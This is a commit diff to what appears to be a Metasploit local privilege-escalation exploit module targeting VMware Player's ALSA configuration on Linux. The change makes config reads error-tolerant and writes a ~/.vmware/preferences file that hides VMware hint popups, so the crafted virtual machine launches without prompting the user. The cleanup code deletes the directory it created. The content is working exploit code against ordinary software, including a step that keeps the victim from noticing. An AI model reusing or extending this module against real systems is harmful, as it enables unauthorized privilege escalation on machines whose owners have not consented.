Disable VMware hint popups

Author: bcoles

modules/exploits/linux/local/vmware_alsa_config.rb

@@ -86,8 +86,12 @@ def check
       return CheckCode::Safe
     end
 
-    config = read_file '/etc/vmware/config'
-    Rex.sleep 0.5
+    begin
+      config = read_file '/etc/vmware/config'
+      Rex.sleep 0.5
+    rescue
+      config = ''
+    end
 
     if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
       @version = Gem::Version.new $1.gsub(/\.$/, '')
@@ -211,7 +215,36 @@ def exploit
     write_file "#{@home_dir}/.asoundrc", asoundrc
     Rex.sleep 0.5
 
-    print_status "Launching VMware Player..."
+    vprint_status 'Disabling VMware hint popups'
+    unless directory? "#{@home_dir}/.vmware"
+      cmd_exec "mkdir #{@home_dir}/.vmware"
+      Rex.sleep 0.5
+      @remove_prefs = true
+    end
+
+    if file? "#{@home_dir}/.vmware/preferences"
+      begin
+        prefs = read_file "#{@home_dir}/.vmware/preferences"
+        Rex.sleep 0.5
+      rescue
+        prefs = ''
+      end
+    end
+
+    if prefs.nil? || prefs == ''
+      prefs = ".encoding = \"UTF8\"\n"
+      prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
+      prefs << "hints.hideAll = \"TRUE\"\n"
+    elsif prefs =~ /hints\.hideAll/i
+      prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
+    else
+      prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
+    end
+    vprint_status "Writing #{@home_dir}/.vmware/preferences"
+    write_file "#{@home_dir}/.vmware/preferences", prefs
+    Rex.sleep 0.5
+
+    print_status 'Launching VMware Player...'
     cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
     Rex.sleep 0.5
   end
@@ -223,6 +256,11 @@ def cleanup
     print_status "Removing #{@home_dir}/.asoundrc"
     cmd_exec "rm #{@home_dir}/.asoundrc"
     Rex.sleep 0.5
+    if @remove_prefs
+      print_status "Removing #{@home_dir}/.vmware"
+      cmd_exec "rm #{@home_dir}/.vmware -rf"
+      Rex.sleep 0.5
+    end
   end
 
   def on_new_session(session)